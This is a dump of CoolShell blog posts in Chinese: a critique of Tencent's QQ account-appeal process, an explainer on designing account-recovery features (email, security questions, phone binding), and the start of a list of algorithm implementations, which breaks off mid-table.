href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3516.html\"><img alt=\"JS游戏引擎列表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3516.html\">JS游戏引擎列表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-11-25 腾讯帐号申诉的用户体验.html",
    "content": "<html><body><p>前面写过一篇“<a href=\"https://coolshell.cn/articles/5901.html\" rel=\"bookmark\" target=\"_blank\">腾讯，竞争力 和 用户体验</a>”批评了腾讯，于是在<a href=\"http://weibo.com/haoel\" target=\"_blank\">我的微博</a>上和<a href=\"https://coolshell.cn\" target=\"_blank\">博客</a>上收到了一些反对意见，基本上是说腾讯产品的用户体验做得很好，很方便，等等，还列举了N多的例子，以及说过什么用户数量为王的言论，让我感到我应该写一篇博客。当然，如果我们只看某个技术层面的东西的话，我同意，QQ的一些产品还是很易用的。但是我们还是要看得更深一些。Effective C++的作者Scott Meyers 在《More Effective C++》中说过——“美丽的是肤浅的表现”。   我借用一下这句话，认为QQ是好的产品的观点是肤浅的认识。</p>\n<p>网上有大量的文章说<a href=\"http://handsome4215.blog.sohu.com/154141629.html\" target=\"_blank\">QQ扫描硬盘</a>啊，说<a href=\"http://hi.baidu.com/kernone/blog/item/db7218d9c1756f3933fa1cb5.html\" target=\"_blank\">QQ收集用户信息</a>啊，你可能忘了这些。前段时间的3Q大战的那个“艰难的决定”，你好像也忘了。还有狗日的腾讯，你也忘了。包括<a href=\"http://www.cnr.cn/newscenter/kjxw/201111/t20111103_508725677.shtml\" target=\"_blank\">QQ可以预防犯罪的新闻</a>，你可能也忘（这本就是一个容易忘事的民族）。你已经被QQ的用户体验迷住你的双眼，觉得QQ无敌于天下，就像<a href=\"http://weibo.com/1577826897/xyZ6vpv2y\" target=\"_blank\">这个微博</a> 以及微博里的回复一样在赞叹QQ注重细节一样，那些人在看到QQ的Mac版上向Steve Jobs感谢的字样激动不已。我感到你被一块红布蒙住了双眼也蒙住了天，我问你看见了什么，你说你看见了幸福 ，这个感觉真让你舒服……（对不起，一不小心我就在唱歌了，So So Sorry）</p>\n<p>回到正题，你会说，我们在谈技术，不谈这些非技术的。好吧，我们来看看技术上的东西。我和大家说一下这两天我的真实经历。</p>\n<p>两天前，我的QQ号被“恶意投诉”，封了号。腾讯让我走申诉流程，于是我看到了下面这些步骤：</p>\n<ol>\n<li>填入我的真实姓名，身份证号，地址等我的真实信息。 （盗号者也可以填）</li>\n<li>填入我的手机号，并要用这个手机号向腾讯发个短信以收取验证码。（盗号者的手机）</li>\n<li>填入我以前曾经使用过的QQ密码 （盗号者盗到的密码）</li>\n<li>填入我是什么时候，在哪里注册的QQ （盗号者可以填忘记了）</li>\n<li>填入最近3年来，我在哪里使用过QQ （盗号者也可以填忘 记了）</li>\n<li>邀请QQ好友来帮助申诉，越多越好，需要填号好友的QQ号和真实姓名。 （盗号者也可以用自己的小号，这些小号可以加你为好友）</li>\n</ol>\n<p><strong>这已经是非同寻常的流程了…… 从这个申请过程中你看到了什么？</strong>你是否看到了这些东西：</p>\n<p><span id=\"more-5966\"></span></p>\n<ul>\n<li>收集你的用户信息，从姓名，地址，身份证到手机号，包括你好友的真实姓名。</li>\n<li>收集并验证我过去使用过的密码，以及我在哪里使用QQ的。</li>\n<li>这个过程无法确保安全性。没有一点技术含量。</li>\n</ul>\n<p>这些意味着什么？你会说，因为我不知道QQ盗号有多严重，所以他们才有这样的措施。那么我不禁要反问一下了——</p>\n<ul>\n<li><strong>这个世上还有什么产品是可以让别人通过申诉来让你的帐号失效的？</strong></li>\n<li><strong>又有哪个产品是通过收集真实的用户信息和朋友的信息来找回密码的？</strong></li>\n<li><strong>这个世上还有什么产品是在注册的时候不要真实信息，而在找回密码的时候要真实信息？</strong></li>\n</ul>\n<p>要收信就应该在注册的时候收集，你见过哪家银行在开户的时候不要你身份证，而你取钱，挂失的时候需要身份证的？只要腾讯愿意，弹个窗，于是就可以一点一点地让所有的人都走申诉流程以收集真实信息。我看这个过程并不是想看上去的那么简单啊。这就是用户体验？你可能还依然坚持你对这一做法的理解，那么，我真心希望你看看别的系统和软件是怎么做的。（老实说，一个手机号，另一个邮箱就可以搞定了）</p>\n<p>我的朋友在微博上回复到——</p>\n<blockquote><p>//<a href=\"http://weibo.com/zhendi419\" target=\"_blank\">@真谛419</a>：。。。qq是一个伟大的企业，一步步微创新走到了创新横扫CIA，FBI的浪潮之巅 //<a href=\"http://weibo.com/n/chengxi_\">@chengxi_</a>: CIA弱到爆，QQ knows it all. 这个获取所有实名社交网络的创新不亚于 <a href=\"http://t.cn/h5kPIK\" target=\"_blank\">reCaptcha </a>，用QQ的和裸奔的区别在于“裸奔”是自愿的。</p></blockquote>\n<p>你也许会说，这是腾讯因为不可抗力不得已这样做的，我们都应该理解腾讯。我想了一想，我觉得你说得有道理，你无非就是想让我说——腾讯不SB，SB的是用户。好吧，我承认你有一定的道理。</p>\n<p>既然这样，那么我就不得不加粗朋友的这句话了——<strong>用QQ的和裸奔的区别在于“裸奔”是自愿的！！</strong> 而且，我仿佛、似乎、好像，隐约还听到有人在欢快地呻吟着：“在QQ上裸奔的用户体验太~~好~~啦~~，让我高潮不断啊~~~啊~~~啊~~~啊~~~~~~~~”。行了行了，你可以裸奔，但是没有必要那么爽吧。</p>\n<p>（对不起，我本不应该骂人的，更不应该还骂的那么低俗，重要的是，这本来应该在新浪微博上骂的，因为那里的骂人用户体验最好的地方……）</p>\n<p>结尾了，你会会说我是一个喷子，呵呵。我想说，<strong>腾讯是一个天使和魔鬼的混合体，东西还是要一分为二的看</strong>，用么还是可以适当用用的，但是我们的头脑还是要清楚一些明白那是怎么一回事。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5987.html\"><img alt=\"如何设计“找回用户帐号”功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5987.html\">如何设计“找回用户帐号”功能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7617.html\"><img alt=\"抄袭，腾讯 和 产品 \" height=\"150\" src=\"../wp-content/uploads/2012/06/i-hate-copycat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7617.html\">抄袭，腾讯 和 产品 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5901.html\"><img alt=\"腾讯，竞争力 和 用户体验\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5901.html\">腾讯，竞争力 和 用户体验</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21708.html\"><img alt=\"网络数字身份认证术\" height=\"150\" src=\"../wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21708.html\">网络数字身份认证术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19395.html\"><img alt=\"HTTP API 认证授权术\" height=\"150\" src=\"../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5966.html\">腾讯帐号申诉的用户体验</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-11-28 如何设计“找回用户帐号”功能.html",
    "content": "<html><body><p>因为《<a href=\"https://coolshell.cn/articles/5966.html\" target=\"_blank\" title=\"腾讯帐号申诉的用户体验\">腾讯帐号申诉的用户体验</a>》一文中好多人觉得腾讯申诉是世界级先进的，并让我拿出一个找回用户的帐号的功能来。本来不想写的，因为大家看看其它系统的就行的，但是，很明显有些人就是很懒，也不会思考，而且不会观察，所以，我就只好写下这篇科普性常识性的文章。</p>\n<p>在行文之前，我得先感谢腾讯公司的至少30名员工在《<a href=\"https://coolshell.cn/articles/5966.html\" target=\"_blank\" title=\"腾讯帐号申诉的用户体验\">腾讯帐号申诉的用户体验</a>》一文后的回帖（我STFG（Search The Fucking Google）看到了你们使用的那个固定IP在各个大学论坛上的腾讯的招聘广告），我感谢你们主要有两点：</p>\n<ol>\n<li>你们有半数以上的人留下的是gmail而不是QQMail/Foxmail的电子邮件，这点让我感到很欣慰。</li>\n<li>你们在加班到晚上11点的时候都能在本站回复，的确如你们的Andy Pan所说，你们的核心竞争力很强，包括水军方面。</li>\n</ol>\n<p>好了，让我正式谈谈这个设计。找回用户帐号通常就用三个事就可以了：<strong>邮箱</strong>，<strong>安全问答</strong>，<strong>手机</strong>。</p>\n<h4><strong>邮箱</strong>，<strong>安全问答</strong>，<strong>手机</strong></h4>\n<p>大多数的系统都会使用邮箱和安全问答，这足够了，很多系统直接用邮箱做帐号名（Apple ID，Facebook，新浪微博 ….），这样一来，就算你的系统口令被盗，帐号的是改不掉的，于是你可以用邮箱找回（注：这些系统都会验证你的邮箱是否正确）。但是，如果用邮箱做帐号，会导致你的邮箱暴露了，这样为成为垃圾邮件的受害者，而且如果你还比较2的把邮箱的口令和帐号的口令设置成一样的，那么就相当坑爹了（你可以看看本站的这篇文章——<a href=\"https://coolshell.cn/articles/2428.html\" target=\"_blank\" title=\"如何管理并设计你的口令\">如何设计你的口令</a>）。所以，但凡是用邮箱用为帐号的系统都不会让人看到你的注册邮箱，比如，大家就不知道我新浪微博帐号注册的邮箱，就算是知道也应该是受信的人知道（新浪微博帐号的邮箱地址的默认可见度是“你关注的人”）。</p>\n<p><span id=\"more-5987\"></span></p>\n<p>这里要说一下，Google Mail使用的是电子邮件，安全问答 和 手机。你可以使用其中一种找回口令。gmail最漂亮的用户体验是其会提示你，你绑写的邮箱（哪家公司的邮箱和帐号名的第一个字母）和手机（3个尾号）。MSN和gmail相似，也会提示你绑定的邮箱，也可以使用手机，还可以使用你设置好的受信PC，以及通过客户支持（通过客户支持——收集你注册时用的名字，生日，国家地区，安全问题，使用过的口令，最近发送过的邮箱标题，联系人等，或是你绑定过的信用卡信息，但是不会有身份证）。</p>\n<p>使用手机的一般是安全性比较高的网站，比如：淘宝、Gmail等。这样，使用手机找回口令也不错。因为你注册的安全问答你可能会忘了，你的绑定的邮箱也可能忘了口令，而很多木马可以盗取你的这些电脑上的安全问答或邮箱口令，但是这些木马程序盗不走你的手机（注：在移动互联网时代很可能会盗取你的手机上的信息，但是也盗不走你的手机号——无法像邮箱那样改个口令就盗走了）。你会说，手机还不是会丢失，但是你要明白，你丢失的手机，你是可以停机的，可以通过你的手机密码卡或是身份证恢复你的手机号的。另外，<strong>使用手机的好处还在于，我的系统不需要收信你的真实信息（如：姓名，身份证，住址等），这些真实信息的验证交给移动运营商验证就好了</strong>。<strong>在程序设计的里，我们把这种事叫“解耦”</strong>。Amazon就一种通过电子邮件，然后通过你使用过的信用卡后四位，以及帐单的邮寄的邮政编码，如果你的邮箱变了，没问题，打电话给客服吧，客服会问你的钱行卡号和帐单地址，电子商务的好处就是可以有信用卡或银行卡来恢复号。，因为这<strong>——把用户的真实信息“解耦”到了银行，并“耦合”和银行方面的安全策略</strong>。很明显，银行和移动公司的安全级别更高，而且用户也更信任他们。最好不要自己收集用户的真实信息，要是丢失了，你就麻烦了（在国外你就要被起诉了）</p>\n<p>在这里，你可能会有疑问，如果我的帐号口令丢失了，那么盗取者会进入我的系统改我的邮箱，改我的手机，改我的信用卡等，那不也一样吗？我想说，对于邮箱和手机，其和密码的级别一样，你改密码的时候，你都要输入旧密码，所以，你改邮箱和手机的时候也要使用旧的邮箱和手机。关于你绑定的银行卡或信用卡号，就算是自己也看不见的（只能看见四个尾号），这就就可以防盗了。当然，盗电子商务帐号的人一般会用你一帐号买东西，但是其会遇到另一个麻烦，那就是要面对银行方面的审计工作——1）对于银行卡通过银行的网银，银行的安全系统会帮你审计。2）对于信用卡则要受到信用卡验证和签名的验证，还能让商家会帮你检查信用卡签名是否正确。</p>\n<p>一些人说，QQ的帐号申诉过程的“美妙”在于其他尽可能多的收集你的信息，这样一来，反而是安全的，因为密码容易被盗，而你的那么多的信息则不容易被盗。这样认识只对了一半。<span style=\"color: #cc0000;\"><strong>真正的安全系统是协同整个社会的安全系统做出来的一道安全长城，而不是什么都要自己搞</strong></span>（当然，我们都知道腾讯的DNA就是什么都要自己搞，连FBI和CIA的事也已经在搞了），什么自己都搞反而不安全了。</p>\n<h4>其它讨论Q&amp;A</h4>\n<p><strong>问题一：通过申诉找回帐号靠不靠谱？</strong></p>\n<p>明显不靠谱，而且还很愚蠢。这反而成了恶意者的温床。他人可以通过申诉让正常人的帐号失效，这是一件多么愚蠢的事啊！（我的QQ帐号前两天不就被这样攻击了吗？）</p>\n<p><strong>问题二：通过联系人恢复帐号靠不靠谱？</strong></p>\n<p>不全然靠谱，因为你的QQ总是会有陌生人加你，你的邮箱联系人也会有一些你不受信的人。那些人可能就是攻击者的小号。所以，如果你要通过联系人的话，就不要像QQ或MSN那样坑爹的做法，让用户自己来选。而是要像Facebook那样的做法——系统随机挑些人来让你认。</p>\n<p><strong>问题三：在注册时设置受信的联系人靠不靠谱？</strong></p>\n<p>看似靠谱，但是个人觉得还是还一点问题。因为受信者通过电子信息无法分辨是本人还是盗号者，还要受信者实际联系一下对方。这就好像我们在手机号存电话号码的时候，写上了爸爸，妈妈这样的字眼，这样当恶意者拿了你的手机后，就可以向你的家人敲诈了，因为其直接就可以叫出对方那头的人和被攻击者的关系。</p>\n<p><strong>问题四：恢复帐号的时候收集用户的真实信息靠不靠谱？</strong></p>\n<p>这要看是什么情况了。如果用户在注册时提供了这些真实信息，就靠谱，如果没有就相当不靠谱。试想：你去银行开户存钱的时候，银行没有让你出示身份证，只让你设了个口令。然后我就可以用我的身份证去重置你的口令。你觉得这个事是不是相当的坑爹？！</p>\n<p><strong>问题五：小白不懂邮件，不懂安全问题，不懂绑定手机啊？</strong></p>\n<p>那就用耐心地客服教导这些小白（可参看银行等机构的做法——强制用户输入8位以上的口令，强制使用U盾才能进行大额转帐），提高他们的能力和对安全的认识，当有一天这套东西形成社会标准的时候，安全才会真的到来。安全的问题本来就是双方的事，只有大家都有安全意识，才能做得好。而不是迁就用户。还是Henry Ford的那名话——“如果我问用户要什么，用户会说他要一匹更快的马”，所以这世上也就不会有汽车了。QQ不应该为降低用户安全意识起推动性作用。</p>\n<p><strong>问题六：我的经历是什么样的？</strong></p>\n<p>我基本不上QQ，我上QQ都是被朋友和同学逼的。因为上周四我想写点关于腾读用户体验的东西，所以我才上QQ想看看，结果发现上不去了，说是帐号被投诉了，让我申诉，我猜想估计和我最早发布的关于腾讯的文章有关系。我1999年来注册的这个QQ号根本没有提交过什么身份证或是地址系统之类的东西，我曾经绑定过手机，大概在5年前绑定过。</p>\n<p>于是在走申诉流程的过程中，腾讯说的绑定的手机没有被验证过，我还记得曾经我使用我的hotmail邮箱代替过我的QQ号，不过这些在被投诉的面前都不能用了。而我感到腾讯无法知道我提交的这些信息是否真实，又因为我以前曾经帮朋友注册过QQ号(我这些朋友就是腾讯员工说的小白用户)，所以，我就用一些看上去比较真实的但实际是假的信息，并用帮人注册的这些QQ号成功申诉回来了。</p>\n<p>有的网友说我不分不清找回密码和申诉的差别，我在这里想说，你分明绑定了手机，但是当你发了短信后却被告诉你的手机没有被验证过。这个就很扯了。</p>\n<p>于是，我才意识到QQ的这个申诉过程相当的不安全。关于一些细节问题，还请我们的我们腾讯的员工@larry同学给大家更多的细节。</p>\n<p><strong>问题七：QQ还有什么样的坑爹的Use Case?</strong></p>\n<p>有两个朋友在回复中说到了两个有意思的比较坑爹的Use Case。</p>\n<p>@gqjjqg  说，他有个朋友被恶意申诉，有段时间和这个恶意申诉者来来回回地申诉这个QQ号，搞了一个多月都没有搞定。最后只得和那个恶意申诉者达成和解才解决了这个事。</p>\n<p>@Jack Yang说，他有个朋友在网上买了一个QQ号，没过几天就被申诉回去了（毕竟那是别人用过的），然后人家再接着卖，怎么申诉都申诉不回来。欲哭无泪。</p>\n<p>可见，在QQ的申诉流程下，什么密保，什么手机绑定，都成了浮云。</p>\n<p> </p>\n<p>（如果你还有什么样的问题，我可以在继续更新并回答你的问题）</p>\n<p>——————————</p>\n<p>希望你现在明白，关于腾讯的帐号申诉过程，看上去相那么回事，实际上漏洞百出。当然，我不能说腾讯是愚蠢的，因为人家搞得那么大的企业，我只能说人家是在下一盘很大的棋……<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5966.html\"><img alt=\"腾讯帐号申诉的用户体验\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5966.html\">腾讯帐号申诉的用户体验</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11021.html\"><img alt=\"从“黑掉Github”学Web安全开发\" height=\"150\" src=\"../wp-content/uploads/2014/02/Github-Security-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11021.html\">从“黑掉Github”学Web安全开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7617.html\"><img alt=\"抄袭，腾讯 和 产品 \" height=\"150\" src=\"../wp-content/uploads/2012/06/i-hate-copycat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7617.html\">抄袭，腾讯 和 产品 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5987.html\">如何设计“找回用户帐号”功能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-11-29 一些有意思的算法代码.html",
    "content": "<html><body><p>Keith Schwarz是一个斯坦福大学计算机科学系的讲师。他对编程充满了热情。他的主页上他自己正在实现各种各样的有意思的算法和数据结构，<a href=\"http://www.keithschwarz.com/interesting/\">http://www.keithschwarz.com/interesting/</a>， 目前这个网页上有88个（见下面的列表），但这位大哥要干135个，你可以看看他的<a href=\"http://www.keithschwarz.com/interesting/\" target=\"_blank\">To-Do List</a>。</p>\n<p>从这个列表上，我们可以看到，他从去年7月份就在自己实现这些东西了，我把他实现的这些算法转过来，</p>\n<ul>\n<li>一方面我们可以学习一下这些算法和代码，因为很多东西对我来说都比较新，我以前<a href=\"https://coolshell.cn/articles/2583.html\" target=\"_blank\">列举过一些经典的算法</a>，<a href=\"https://coolshell.cn/articles/1499.html\" rel=\"bookmark\" title=\"链接：算法和数据结构词典\">算法和数据结构词典</a>，还有<a href=\"https://coolshell.cn/articles/4671.html\" rel=\"bookmark\" title=\"链接：可视化的数据结构和算法\">可视化的数据结构和算法</a>， 不过感觉都没有这个全。</li>\n</ul>\n<ul>\n<li>另一方面我希望这个事可以影响到一些正在学习编程的人。看看别人是怎么学习编程的，希望对你有借鉴作用。</li>\n</ul>\n<table border=\"0\" cellpadding=\"6\" cellspacing=\"0\" width=\"100%\">\n<thead>\n<tr>\n<th>Name</th>\n<th>Link</th>\n<th>Date Added</th>\n<th>Language</th>\n<th>Description</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Binomial Heap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=binomial-heap\">(link)</a></td>\n<td>7‑24‑2010</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Binomial_heap\">binomial heap</a> data structure for use as a priority queue.</td>\n</tr>\n<tr>\n<td>Bounded Priority Queue</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=bounded-pqueue\">(link)</a></td>\n<td>7‑24‑2010</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Priority_queue\">priority queue</a> with a fixed upper limit to its size..</td>\n</tr>\n<tr>\n<td>Matrix</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=matrix\">(link)</a></td>\n<td>7‑24‑2010</td>\n<td>C++</td>\n<td>A collection of classes for manipulating <a href=\"http://en.wikipedia.org/wiki/Matrix_%28mathematics%29\">matrices</a>.</td>\n</tr>\n<tr>\n<td>VList</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=vlist\">(link)</a></td>\n<td>8‑16‑2010</td>\n<td>Java</td>\n<td>An implementation of the <tt>List</tt> abstraction backed by a <a href=\"http://en.wikipedia.org/wiki/VList\">VList</a>.</td>\n</tr>\n<tr>\n<td>Function Wrapper</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=function\">(link)</a></td>\n<td>8‑16‑2010</td>\n<td>C++</td>\n<td>A C++ wrapper class around unary functions.</td>\n</tr>\n<tr>\n<td>String</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=string\">(link)</a></td>\n<td>8‑17‑2010</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/String_(computer_science)\">string</a> abstraction that uses the small string optimization.</td>\n</tr>\n</tbody>\n</table>\n<p><span id=\"more-6010\"></span></p>\n<table>\n<tbody>\n<tr>\n<td>nstream</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=nstream\">(link)</a></td>\n<td>8‑31‑2010</td>\n<td>C++</td>\n<td>An stream class that sends and receives data over a network.</td>\n</tr>\n<tr>\n<td>Snake</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=snake\">(link)</a></td>\n<td>8‑31‑2010</td>\n<td>C++</td>\n<td>An implementation of the game <a href=\"http://en.wikipedia.org/wiki/Snake_(video_game)\"><em>Snake</em></a> with a rudimentary AI.</td>\n</tr>\n<tr>\n<td>Mergesort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=mergesort\">(link)</a></td>\n<td>9‑14‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Mergesort\">mergesort</a> algorithm.</td>\n</tr>\n<tr>\n<td>Next Permutation</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=next-permutation\">(link)</a></td>\n<td>10‑6‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://www.cplusplus.com/reference/algorithm/next_permutation/\"><tt>next_permutation</tt></a> STL algorithm.</td>\n</tr>\n<tr>\n<td>Interval Heap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=interval-heap\">(link)</a></td>\n<td>10‑17‑2010</td>\n<td>Java</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Double-ended_priority_queue\">double-ended priority queue</a> using an <a href=\"http://www.mhhe.com/engcs/compsci/sahni/enrich/c9/interval.pdf\">interval heap</a>.</td>\n</tr>\n<tr>\n<td>Linear-Time Selection</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=median-of-medians\">(link)</a></td>\n<td>10‑18‑2010</td>\n<td>C++</td>\n<td>A deterministic, linear-time <a href=\"http://en.wikipedia.org/wiki/Selection_algorithm\">selection algorithm</a> using the <a href=\"http://en.wikipedia.org/wiki/Selection_algorithm#Linear_general_selection_algorithm_-_Median_of_Medians_algorithm\">median-of-medians</a> algorithm.</td>\n</tr>\n<tr>\n<td>Heapsort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=heapsort\">(link)</a></td>\n<td>10‑18‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Heapsort\">heapsort</a> algorithm.</td>\n</tr>\n<tr>\n<td>Union-Find</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=union-find\">(link)</a></td>\n<td>10‑19‑2010</td>\n<td>Java</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Disjoint-set_data_structure\">disjoint-set data structure</a> using a disjoint set forest.</td>\n</tr>\n<tr>\n<td>Radix Sort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=radix-sort\">(link)</a></td>\n<td>10‑19‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Radix_sort\">radix sort</a> algorithm.</td>\n</tr>\n<tr>\n<td>Rational</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=rational\">(link)</a></td>\n<td>10‑23‑2010</td>\n<td>C++</td>\n<td>A data structure representing a <a href=\"http://en.wikipedia.org/wiki/Rational_number\">rational number</a>.</td>\n</tr>\n<tr>\n<td>DPLL</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=dpll\">(link)</a></td>\n<td>10‑23‑2010</td>\n<td>Haskell</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/DPLL_algorithm\">DPLL algorithm</a> for solving <a href=\"http://en.wikipedia.org/wiki/Boolean_satisfiability_problem\">CNF-SAT</a>.</td>\n</tr>\n<tr>\n<td>Smoothsort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=smoothsort\">(link)</a></td>\n<td>10‑27‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://www.keithschwarz.com/smoothsort/\">smoothsort 